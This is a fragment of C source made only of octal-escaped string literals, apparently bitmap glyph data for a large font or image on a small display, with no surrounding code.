"\0\0\0\0\0\0\0\200\340\374\377\377\77\7\0\3\37\177\377\377\370\340\0\0\0\0\0\0\0\340\374\377" "\377\377\37\37\36\36\36\36\36\36\37\77\377\377\377\374\340\200\0\0\77\77\77\37\3\0\0\0\0\0\0\0" "\0\0\0\0\0\7\37\77\77\77< \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\10\34>\37\17\17\207\343\307\7\17\37>>\14\0\0\0\0\0\0\0\0\0\0" "\0\0\200\360\374\377\377\377\376\370\300\0\0\0\0\0\0\0\0\0\0\0\0\200\340\374\377\377\77\7\0\3" "\37\177\377\377\370\340\0\0\0\0\0\0\0\340\374\377\377\377\37\37\36\36\36\36\36\36\37\77\377\377\377\374" "\340\200\0\0\77\77\77\37\3\0\0\0\0\0\0\0\0\0\0\0\0\7\37\77\77\77< \0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\3\7\3\1\1\201\343\303" "\7\7\7\7\7\7\3\1\0\0\0\0\0\0\0\0\0\0\200\360\376\377\377\377\377\370\340\0\0\0\0\0" "\0\0\0\0\0\0\0\200\340\374\377\377\77\7\0\3\37\177\377\377\370\340\0\0\0\0\0\0\0\340\374\377" "\377\377\37\37\36\36\36\36\36\36\37\77\377\377\377\374\340\200\0\0\77\77\77\37\3\0\0\0\0\0\0\0" "\0\0\0\0\0\7\37\77\77\77< \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\3\7\17\17\17\7\3\300\340\300\3\7\17\17\17\7\3\0\0\0\0\0\0\0\0\0" "\0\0\300\360\376\377\377\377\376\370\300\0\0\0\0\0\0\0\0\0\0\0\0\200\360\376\377\377\77\7\0\3" "\37\377\377\377\370\340\0\0\0\0\0\0\200\360\376\377\377\177\37\37\36\36\36\36\36\36\37\77\377\377\377\374" "\340\200\0\0\77\77\77\17\3\0\0\0\0\0\0\0\0\0\0\0\0\7\37\77\77\77<\60\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\17\37\77y\360\360" "y\77\37\17\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\374\377\377\377\377\374\340\0\0\0\0\0" "\0\0\0\0\0\0\0\0\340\370\377\377\77\17\1\1\17\77\377\377\374\340\200\0\0\0\0\0\0\300\370\377" "\377\377\37\37\36\36\36\36\36\36\37\37\177\377\377\374\360\200\0\0\77\77\77\77\7\0\0\0\0\0\0\0" "\0\0\0\0\0\3\17\77\77\77>\60\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\0\0\0\0" "\0\200\360\376\377\377\37\377\377\377\377\3\3\3\3\3\3\3\3\3\0\0\0\340\374\377\377\177\17\0\0\377" "\377\377\377xxxxxxxx\0\200\360\377\377\377\77\77<<<<\377\377\377\377\0\0\0\0\0" "\0\0\0\0\77\77\77\17\1\0\0\0\0\0\0\77\77\77\77<<<<<<<<<\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\300" "\300\300\300\300\200\200\0\0\0\0\0\0\0\300\360\374\376\377\177\37\17\7\7\7\3\7\7\7\17\37\177\177" "~<\60\0\376\377\377\377\377\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\77\377\377" "\377\374\340\300\0\0\0\0\0\0\0\0\0\0\200\300\300\200\0\0\0\0\0\3\7\17\17\37\37\77>>" "\376\376>>\37\37\37\17\7\3\1\0\0\0\0\0\0\0\0\70\70\70pwwww\177\77\36\0\0" "\0\0\0\0\0\300\300\300\300\301\301\301\303\303\307\307\307\317\317\306\300\300\300\300\300\300\0\0\0\377\377\377" "\377\377\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\0\0\0\377\377\377\377\377xxxxxx" "xxxxxxx\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\77\77\77\77\77<<<<<<<<<<<<<<<<\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\300\300\300\302\317\317\317\307" "\307\303\303\303\301\301\300\300\300\300\0\0\0\377\377\377\377\377\3\3\3\3\3\3\3\3\3\3\3\3\3\3" "\3\3\0\0\0\377\377\377\377\377xxxxxxxxxxxxx\0\0\0\0\0\0\377\377\377" "\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\77\77\77\77\77<<<<<<" "<<<<<<<<<<\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\300\300\300\314\334\336\337\317\317\307\303\307\317\317\337\376\334\314\300\300\300\0\0\0\377\377\377" "\377\377\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\0\0\0\377\377\377\377\377xxxxxx" "xxxxxxx\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\77\77\77\77\77<<<<<<<<<<<<<<<<\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\303\307\317\317\317\307\303\300\300" "\300\303\307\317\317\317\307\303\300\300\0\0\0\377\377\377\377\377\3\3\3\3\3\3\3\3\3\3\3\3\3\3" "\3\3\0\0\0\377\377\377\377\377xxxxxxxxxxxxx\0\0\0\0\0\0\377\377\377" "\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\77\77\77\77\77<<<<<<" "<<<<<<<<<<\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\300\300\300\301\301\303\303\303\307\307\317\317\317\302\300\300\300\0\0\0\0\0\0\0\3\3" "\3\3\3\3\377\377\377\377\377\3\3\3\3\3\3\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0" "\0\0\0\0\0\0<<<<<<\77\77\77\77\77<<<<<<<\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\300\302\307\317\317\307\307" "\307\303\303\301\301\301\300\0\0\0\0\0\0\0\3\3\3\3\3\3\377\377\377\377\377\3\3\3\3\3\3\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0<<<<<<\77\77\77\77" "\77<<<<<<<\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\300\314\374\336\337\317\317\307\303\307\307\317\337\376\336\314\300\0\0\0\0\0\0\0\3\3" "\3\3\3\3\377\377\377\377\377\3\3\3\3\3\3\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0" "\0\0\0\0\0\0<<<<<<\77\77\77\77\77<<<<<<<\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\303\307\317\317\317\307\303\300\300\300" "\303\307\317\317\317\307\303\0\0\0\0\0\0\0\3\3\3\3\3\3\377\377\377\377\377\3\3\3\3\3\3\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0<<<<<<\77\77\77\77" "\77<<<<<<<\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\300\300\300\300\300\300\300\300\300\300\300\300\300\200\200\0\0\0\0\0\0\0\0\0\377\377\377" "\377\377\3\3\3\3\7\7\7\7\17\37\177\377\376\374\360\300\0\0x\377\377\377\377\377xxxxx\0" "\0\0\0\0\0\3\377\377\377\377\376\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\300\340\374\377\377" "\377\77\7\0\0\77\77\77\77\77<<<>>>>\77\37\37\17\17\7\1\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\301\303\303\207\3\1\1\1\3\3" "\7\7\7\7\7\307\303\301\300\300\0\0\377\377\377\377\377\177\376\370\340\300\0\0\0\0\0\0\0\377\377\377" "\377\377\0\0\377\377\377\377\377\0\1\7\37\177\377\374\360\300\200\0\0\377\377\377\377\377\0\0\377\377\377\377" "\377\0\0\0\0\0\1\3\17\77\377\376\370\377\377\377\377\377\0\0\77\77\77\77\77\0\0\0\0\0\0\0" "\0\0\0\3\17\37\77\77\77\77\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\1\203\203\303\307\307\317\317\317\316\206\200\0\0\0\0\0\0\0\340\360\374\376" "\377\77\37\17\7\7\7\7\7\7\17\37\77\377\376\374\370\340\0\0\377\377\377\377\1\0\0\0\0\0\0\0" "\0\0\0\0\0\1\377\377\377\377\377\0\77\377\377\377\374\340\200\0\0\0\0\0\0\0\0\0\300\370\377\377" "\377\177\17\0\0\0\3\7\17\17\37\37>>><>>\77\37\37\17\7\3\1\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\202\216\317\317\317\307" "\307\307\303\203\203\0\0\0\0\0\0\0\340\360\374\376\377\77\37\17\7\7\7\7\7\7\17\37\77\377\376\374" "\370\340\0\0\377\377\377\377\1\0\0\0\0\0\0\0\0\0\0\0\0\1\377\377\377\377\377\0\77\377\377\377" "\374\340\200\0\0\0\0\0\0\0\0\0\300\370\377\377\377\177\17\0\0\0\3\7\17\17\37\37>>><" ">>\77\37\37\17\7\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\10\34>\237\237\317\307\307\303\307\317\337\277\276\34\10\0\0\0\0\0\340\360\374\376" "\377\77\37\17\7\7\7\7\7\7\17\37\77\377\376\374\370\340\0\0\377\377\377\377\1\0\0\0\0\0\0\0" "\0\0\0\0\0\1\377\377\377\377\377\0\77\377\377\377\374\340\200\0\0\0\0\0\0\0\0\0\300\370\377\377" "\377\177\17\0\0\0\3\7\17\17\37\37>>><>>\77\37\37\17\7\3\1\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\7\201\201\301\301\301\303" "\303\307\307\207\207\3\3\1\0\0\0\0\340\360\374\376\377\77\37\17\7\7\7\7\7\7\17\37\77\377\376\374" "\370\340\0\0\377\377\377\377\1\0\0\0\0\0\0\0\0\0\0\0\0\1\377\377\377\377\377\0\77\377\377\377" "\374\340\200\0\0\0\0\0\0\0\0\0\300\370\377\377\377\177\17\0\0\0\3\7\17\17\37\37>>><" ">>\77\37\37\17\7\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\3\7\17\17\217\207\303\300\300\300\303\307\317\217\217\7\3\0\0\0\0\0\340\360\374\376" "\377\77\37\17\7\7\7\7\7\7\17\37\77\377\376\374\370\340\0\0\377\377\377\377\1\0\0\0\0\0\0\0" "\0\0\0\0\0\1\377\377\377\377\377\0\77\377\377\377\374\340\200\0\0\0\0\0\0\0\0\0\300\370\377\377" "\377\177\17\0\0\0\3\7\17\17\37\37>>><>>\77\37\37\17\7\3\1\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\340\300\200\0\0\0\0\0\0\0\200\300\340\340\300" "\200\0\0\0\0\0\1\3\7\17\37\277\377\376\374\370\374\376\377\277\37\17\7\3\1\0\0\0\0\0\60x" "\374\376\177\77\37\17\7\3\7\17\37\77\177\376\374x \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\200\200\300\300\340\340\340\340\340\340\300\300\300\340\360\370\370p\60\0\360\370\376\377" "\377\77\17\7\3\3\3\3\203\343\377\377\177\177\377\377\375\360\200\0\377\377\377\377\1\0\0\0\300\340\370\376" "\177\37\7\1\0\0\377\377\377\377\377\0\77\177\377\377\374\360\374\377\77\17\3\1\0\0\200\300\340\374\377\377" "\377\77\7\0p|\377\177\77\17\17\17\37\37\37\36\37\37\37\17\17\7\3\1\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\300\300A\1\3\3\7\7\7" "\17\17\7\2\0\300\300\300\300\300\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377" "\377\377\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\177\377\377\377" "\377\300\0\0\0\0\0\0\0\0\0\200\300\377\377\377\377\177\0\0\0\1\7\17\17\37\37\77>>>>" ">>\77\37\37\17\17\7\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\300\300\300\300\300@\2\17\17\17\7\7\7\3\3\1\1\300\300\300\300\300\0\0\377\377\377\377" "\377\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\377\377\377\377\377\0\0\0\0\0\0\0" "\0\0\0\0\0\377\377\377\377\377\0\0\177\377\377\377\377\300\0\0\0\0\0\0\0\0\0\200\300\377\377\377" "\377\177\0\0\0\1\7\17\17\37\37\77>>>>>>\77\37\37\17\17\7\1\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\300\334^\37\17\17\7\3\3" "\7\17\37\37\36\314\300\300\300\300\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377" "\377\377\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\177\377\377\377" "\377\300\0\0\0\0\0\0\0\0\0\200\300\377\377\377\377\177\0\0\0\1\7\17\17\37\37\77>>>>" ">>\77\37\37\17\17\7\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\300\300\300\303\307O\17\17\7\3\0\0\0\3\7\17\17\317\307\303\300\300\0\0\377\377\377\377" "\377\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\377\377\377\377\377\0\0\0\0\0\0\0" "\0\0\0\0\0\377\377\377\377\377\0\0\177\377\377\377\377\300\0\0\0\0\0\0\0\0\0\200\300\377\377\377" "\377\177\0\0\0\1\7\17\17\37\37\77>>>>>>\77\37\37\17\17\7\1\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\300\300\0\0\6\17\17\7\7" "\7\3\3\3\1\1\300\300\300\300\300\0\1\7\37\177\377\377\374\360\300\0\0\0\0\0\300\360\374\377\377\77" "\17\3\0\0\0\0\0\0\1\7\37\177\377\377\374\360\370\376\377\177\17\3\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\377\377\377\377\377\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\77\77\77" "\77\77\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\300\300\300\300\300@\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377" "\377\377\360\360\360\360\360\360\360\360\360\360\340\340\340\300\200\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0" "\0\1\1\1\3\207\377\377\377\377\374\0\0\377\377\377\377\377<<<<<<<<<>>\77\37\37" "\17\3\0\0\0\77\77\77\77\77\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\340\360\360\360\360" "\360\360\340\340\340\300\200\0\0\0\0\0\0\360\376\377\377\377\17\3\1\1\1\1\1\1\3\207\377\377\377\377" "\374\0\0\0\0\377\377\377\377\377\0\0\0<<<>>\177\177\377\377\363\341\300\200\0\0\0\377\377\377" "\377\377\0\0\0\0\0\0\0\0\0\0\0\303\377\377\377\377\376\0\0\77\77\77\77\77\0\20\34\37>>" ">>>>\37\37\37\17\7\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0p\360\370\374\360\340\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\200\200\200\201\207\217\237\217\216\204\0\0\0\0\0\0\0\0\0\0\4\16\37\37\17\17\207\207\207\207" "\207\207\217\237\377\377\376\374\360\0\0\0\360\370\374\376\376\37\37\17\17\17\17\17\7\7\7\307\377\377\377\377" "\377\0\0\0\3\7\17\37\37\77>>><>>\36\37\37\17\77\77\77\77\77\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\340\370" "\374\374\374\70\20\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\307\307\317\317\303\301\300\300\200\200\0\0" "\0\0\0\0\0\0\2\7\17\217\207\207\303\303\303\303\303\303\307\317\377\377\377\376\370\0\0\0\370\374\376\377" "\377\217\17\7\7\7\7\7\3\203\203\343\377\377\377\377\377\0\0\0\1\3\7\17\17\37\37\37\37\36\37\37" "\17\17\17\7\37\37\37\37\37\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\200\340\360\370\374\370\360\340\200\0\0\0\0\0\0\0\0\0\0\0\0" "\0\14\237\277\217\207\201\201\203\217\237\277\37\16\0\0\0\0\0\0\0\0\4\16\37\37\17\17\207\207\207\207" "\207\207\217\237\377\377\376\374\360\0\0\0\360\370\374\376\376\37\37\17\17\17\17\17\7\7\7\307\377\377\377\377" "\377\0\0\0\3\7\17\37\37\77>>><>>\36\37\37\17\77\77\77\77\77\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\360\360\370\370xx\370\370" "\360\340\340\300\300\340\360\360`\0\0\0\0\0\0\0\1\3\201\200\200\200\200\201\201\203\203\203\3\3\1\0" "\0\0\0\0\0\0\4\16\37\37\17\17\207\207\207\207\207\207\217\237\377\377\376\374\360\0\0\0\360\370\374\376" "\376\37\37\17\17\17\17\17\7\7\7\307\377\377\377\377\377\0\0\0\3\7\17\37\37\77>>><>>" "\36\37\37\17\77\77\77\77\77\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\300\340\360\360\360\340\300\0\0\0\300\340\360\360\360\340\300\0\0\0\0\0\0\0\1" "\3\7\207\207\203\201\200\200\200\201\203\207\7\7\3\1\0\0\0\0\0\0\4\16\37\37\17\17\207\207\207\207" "\207\207\217\237\377\377\376\374\360\0\0\0\360\370\374\376\376\37\37\17\17\17\17\17\7\7\7\307\377\377\377\377" "\377\0\0\0\3\7\17\37\37\77>>><>>\36\37\37\17\77\77\77\77\77\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\360\370\370\34\34\34" "\34\370\370\340\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\203\203\207\207\207\207\203\203\200\0\0\0\0" "\0\0\0\0\0\0\4\16\37\37\17\17\207\207\207\207\207\207\217\237\377\377\376\374\360\0\0\0\360\370\374\376" "\376\37\37\17\17\17\17\17\7\7\7\307\377\377\377\377\377\0\0\0\3\7\17\37\37\77>>><>>" "\36\37\37\17\77\77\77\77\77\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200" "\200\200\300\200\200\200\0\0\0\0\200\200\200\200\200\200\200\200\0\0\6\17\17\17\217\207\207\207\207\217\377\377" "\376\377\237\217\207\207\207\207\217\377\377\376\374\376\377\377\37\17\7\7\7\7\377\377\377\377\203\3\3\3\3\3" "\3\3\3\3\7\17\37\37\77<<<<\36\37\17\7\17\37\37>>>>>\36\37\17\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\300\300\300\300\300\300\300\300\200\200" "\0\0\0\0\0\300\370\374\376\377\77\37\17\7\3\3\3\3\3\3\7\17\37\77\37\16\4\0\0\37\177\377" "\377\377\360\300\200\200\0\0\0\0\0\0\0\200\300\300\200\0\0\0\0\0\0\1\3\7\7\17\17\37\37\237" "\377\376\237\237\237\17\17\7\7\3\0\0\0\0\0\0\0\0\0\34\34\34\70;;;;\77\37\17\0\0" "\0\0\0\0\0\0\0\0\0\0\0\20x\374\374\374\360\340\200\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\200\200\300\300\300\301\347\317\317\307\306\200\200\0\0\0\0\0\0\340\370\374\377\377\337\317\307\303\303\303\303" "\303\303\307\307\317\377\377\376\374\360\0\0\37\377\377\377\377\363\303\203\3\3\3\3\3\3\3\3\203\203\303\203" "\3\3\0\0\0\0\1\3\7\7\17\17\37\37\37\37\36\37\37\37\17\17\7\7\3\1\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\360" "\374\374\374x\60\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\302\307\317\357\307\303\300\300\200\200\0\0" "\0\0\0\0\340\370\374\377\377\337\317\307\303\303\303\303\303\303\307\307\317\377\377\376\374\360\0\0\37\377\377\377" "\377\363\303\203\3\3\3\3\3\3\3\3\203\203\303\203\3\3\0\0\0\0\1\3\7\7\17\17\37\37\37\37" "\36\37\37\37\17\17\7\7\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\200\340\360\370\374\370\360\340\200\0\0\0\0\0\0\0\0\0\0\0\0" "\0\16\37\237\217\207\201\301\203\217\237\277\37\16\0\0\0\0\0\0\300\360\370\376\376\277\237\217\207\207\207\207" "\207\207\217\217\237\377\376\374\370\340\0\0\77\377\377\377\377\347\207\7\7\7\7\7\7\7\7\7\7\7\207\7" "\7\7\0\0\0\1\3\7\17\17\37\37>>>><>>>\37\37\17\17\6\2\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\340\360\360\360\340\300\0\0" "\0\300\340\360\360\360\340\300\0\0\0\0\0\0\0\1\3\7\7\207\203\201\200\300\200\201\203\207\7\7\3\1" "\0\0\0\0\300\360\370\376\376\377\237\217\217\207\207\207\207\207\217\217\237\377\376\374\370\340\0\0\77\377\377\377" "\377\367\207\7\7\7\7\7\7\7\7\7\7\7\207\207\7\7\0\0\0\1\3\7\17\17\37\37>>>>" "<>>>\36\37\17\17\7\2\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\60x\374\374\374\360\300\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300" "\300\300\300\300\303\307\317\317\307\302\0\0\0\0\0\0\0\0\0\0\0\0\0\3\3\3\3\3\3\377\377\377" "\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0" "\0\0\0\0\0\0\0\36\36\36\36\36\36\37\37\37\37\37\36\36\36\36\36\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\360" "\370\374\374x\20\0\0\0\0\0\0\0\0\0\0\300\300\300\300\300\302\307\317\317\307\303\0\0\0\0\0\0" "\0\0\0\0\0\0\0\3\3\3\3\3\3\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\36\36\36\36\36\36\37\37\37" "\37\37\36\36\36\36\36\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\300\340\360\370\370\360\340\200\0\0\0\0\0\0\0\0\0\0\0\0\200" "\214\236\277\237\217\203\201\203\207\217\77\37\16\10\0\0\0\0\0\0\0\0\0\7\7\7\7\7\7\377\377\377" "\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0" "\0\0\0\0\0\0\0<<<<<<\77\77\77\77\77<<<<<\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\340\360\360\360\340\300\0\0" "\0\300\360\360\360\360\300\0\0\0\0\0\0\0\0\201\203\207\207\207\203\201\200\200\200\203\7\7\7\7\1\0" "\0\0\0\0\0\0\0\7\7\7\7\7\7\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0<<<<<<\77\77\77" "\77\77<<<<<\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0 `p\360\360\360\340\300\300\200\200\200\300\300\300\300\0\0\0\0\0\0\0" "\0\14\36\236\236\237\217\217\217\217\277\377\377\377\373\343\301\1\0\0\200\360\370\374\376\177\37\17\17\7\7\7" "\7\7\17\17\37\177\377\377\377\376\360\0\77\377\377\377\377\340\200\0\0\0\0\0\0\0\0\0\200\340\377\377" "\377\377\77\0\0\0\3\7\17\17\37\37>>><>>>\37\37\37\17\7\3\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\340\360\360\370\370\370\370\370\360" "\340\340\300\300\340\340\360\340\0\0\0\0\0\200\200\201\203\201\0\0\0\200\201\201\203\203\203\203\203\3\1\0" "\0\0\0\0\0\377\377\377\377\377~\36\17\17\7\7\7\7\17\37\377\377\376\374\360\0\0\0\0\377\377\377" "\377\377\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\77\77\77\77\77\0\0\0\0\0\0" "\0\0\0\0\77\77\77\77\77\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\20\70\374\374\374\370\340\200\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\200\200\300\300\300\301\303\317\317\307\307\300\200\0\0\0\0\0\0\300\370\374\376\377\77\17\7\7\3\3\3" "\3\3\7\7\37\177\377\377\374\370\300\0\37\177\377\377\377\360\300\200\0\0\0\0\0\0\0\200\300\360\377\377" "\377\177\37\0\0\0\1\3\7\7\17\17\37\37\37\36\37\37\37\17\17\7\7\3\1\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\340" "\360\374\370\360p \0\0\0\0\0\0\0\0\0\0\0\0\0\200\204\216\217\237\217\207\203\200\200\0\0\0" "\0\0\0\0\200\360\370\374\376\177\37\17\17\7\7\7\7\7\17\17\77\377\376\376\370\360\200\0\77\377\377\377" "\377\340\200\0\0\0\0\0\0\0\0\0\200\340\377\377\377\377\77\0\0\0\3\7\17\17\37\37>>><" ">>>\37\37\17\17\7\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\200\340\360\374\374\374\370\340\300\200\0\0\0\0\0\0\0\0\0\0\0" "\0\16\37\237\217\207\201\200\203\207\237\277\237\16\4\0\0\0\0\0\200\360\370\374\376\177\37\17\17\7\7\7" "\7\7\17\17\77\377\376\376\370\360\200\0\77\377\377\377\377\340\200\0\0\0\0\0\0\0\0\0\200\340\377\377" "\377\377\77\0\0\0\3\7\17\17\37\37>>><>>>\37\37\17\17\7\3\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\340\360\360\370\370xx\370\370" "\360\340\340\300\300\340\360\360`\0\0\0\0\0\0\0\1\3\0\200\200\200\200\201\203\203\203\203\203\3\1\0" 